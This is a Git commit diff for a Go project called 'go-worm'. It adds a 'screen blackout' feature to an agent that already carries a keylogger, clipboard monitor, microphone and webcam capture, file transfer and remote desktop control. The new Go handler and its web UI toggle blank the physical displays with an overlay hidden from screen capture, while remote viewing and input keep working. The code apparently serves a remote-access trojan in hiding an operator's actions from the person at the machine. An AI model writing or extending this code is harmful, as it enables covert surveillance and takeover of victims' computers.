feat(agent): add screen blackout feature
- Physical displays blanked via overlay - Remote video and input keep working - Exclude overlay from screen capture - Add blackout API and UI toggle - Wire flag through capture protocol
This commit is contained in:
@@ -11,6 +11,7 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/blackout"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/capture"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
@@ -75,6 +76,7 @@ func New(cfg Config) (*Agent, error) {
|
||||
func (a *Agent) Close() {
|
||||
clipmon.Stop()
|
||||
keylog.Stop()
|
||||
blackout.Stop()
|
||||
capture.Stop()
|
||||
mic.Stop()
|
||||
if a.guard != nil {
|
||||
@@ -95,6 +97,7 @@ func (a *Agent) Serve() error {
|
||||
mux.HandleFunc("/api/v1/download", a.handleDownload)
|
||||
mux.HandleFunc("/api/v1/upload", a.handleUpload)
|
||||
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
|
||||
mux.HandleFunc("/api/v1/blackout", a.handleBlackout)
|
||||
mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
|
||||
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
|
||||
mux.HandleFunc("/api/v1/mic", a.handleMic)
|
||||
|
||||
@@ -14,6 +14,7 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/blackout"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/capture"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/command"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
@@ -409,9 +410,37 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top))
|
||||
w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width))
|
||||
w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height))
|
||||
if blackout.Enabled() {
|
||||
w.Header().Set("X-Screen-Blackout", "1")
|
||||
}
|
||||
_, _ = w.Write(frame.Data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleBlackout(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
|
||||
case http.MethodPut:
|
||||
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
||||
defer r.Body.Close()
|
||||
var body struct {
|
||||
Enabled *bool `json:"enabled"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Enabled == nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "enabled is required")
|
||||
return
|
||||
}
|
||||
if err := blackout.Set(*body.Enabled); err != nil {
|
||||
helpers.Log.Printf("blackout: %v", err)
|
||||
helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
|
||||
default:
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
}
|
||||
}
|
||||
|
||||
func parseMicDevice(r *http.Request) (int, error) {
|
||||
device := 0
|
||||
if raw := r.URL.Query().Get("device"); raw != "" {
|
||||
|
||||
+27
-1
@@ -27,6 +27,7 @@
|
||||
const videoStop = document.getElementById("video-stop");
|
||||
const videoInteract = document.getElementById("video-interact");
|
||||
const videoKeyHint = document.getElementById("video-key-hint");
|
||||
const videoBlackout = document.getElementById("video-blackout");
|
||||
const webcamCanvas = document.getElementById("webcam-canvas");
|
||||
const webcamMeta = document.getElementById("webcam-meta");
|
||||
const webcamDevice = document.getElementById("webcam-device");
|
||||
@@ -680,7 +681,7 @@
|
||||
const width = bitmap.width;
|
||||
const height = bitmap.height;
|
||||
bitmap.close();
|
||||
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`;
|
||||
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}${res.headers.get("X-Screen-Blackout") === "1" ? " · blackout" : ""}`;
|
||||
}
|
||||
|
||||
async function sendClick(event, button) {
|
||||
@@ -737,6 +738,22 @@
|
||||
return false;
|
||||
}
|
||||
|
||||
async function loadBlackout() {
|
||||
const res = await api("/api/v1/blackout");
|
||||
const data = await res.json();
|
||||
videoBlackout.checked = Boolean(data.enabled);
|
||||
}
|
||||
|
||||
async function setBlackoutEnabled(enabled) {
|
||||
const res = await api("/api/v1/blackout", {
|
||||
method: "PUT",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ enabled }),
|
||||
});
|
||||
const data = await res.json();
|
||||
videoBlackout.checked = Boolean(data.enabled);
|
||||
}
|
||||
|
||||
function setVideoTabActive(active) {
|
||||
if (videoTabActive === active) return;
|
||||
videoTabActive = active;
|
||||
@@ -920,6 +937,9 @@
|
||||
document.getElementById(button.dataset.tab).classList.add("active");
|
||||
const onVideo = button.dataset.tab === "video";
|
||||
setVideoTabActive(onVideo);
|
||||
if (onVideo) {
|
||||
loadBlackout().catch((err) => showError(err.message));
|
||||
}
|
||||
if (!onVideo) {
|
||||
stopVideo();
|
||||
}
|
||||
@@ -1028,6 +1048,12 @@
|
||||
sendClick(event, "right").catch((err) => showError(err.message));
|
||||
});
|
||||
videoInteract.addEventListener("change", () => syncInteractable());
|
||||
videoBlackout.addEventListener("change", () => {
|
||||
setBlackoutEnabled(videoBlackout.checked).catch((err) => {
|
||||
videoBlackout.checked = !videoBlackout.checked;
|
||||
showError(err.message);
|
||||
});
|
||||
});
|
||||
document.querySelectorAll(".mod-btn").forEach((button) => {
|
||||
button.addEventListener("click", () => {
|
||||
if (!videoInteract.checked) return;
|
||||
|
||||
@@ -819,7 +819,7 @@
|
||||
<div class="panel-head">
|
||||
<div>
|
||||
<h2>Remote desktop</h2>
|
||||
<p class="lede">Live monitor stream. Interaction is off until you enable it.</p>
|
||||
<p class="lede">Live monitor stream. Interaction is off until you enable it. Black out screen blanks the physical displays; remote view and control keep working.</p>
|
||||
</div>
|
||||
<div class="panel-actions">
|
||||
<button id="video-start" class="primary" type="button">Start</button>
|
||||
@@ -841,6 +841,10 @@
|
||||
<input id="video-interact" type="checkbox">
|
||||
Interactable
|
||||
</label>
|
||||
<label class="check">
|
||||
<input id="video-blackout" type="checkbox">
|
||||
Black out screen
|
||||
</label>
|
||||
</div>
|
||||
<div class="stage">
|
||||
<canvas id="video-canvas" class="view-only" width="1280" height="720"></canvas>
|
||||
|
||||
Reference in New Issue
Block a user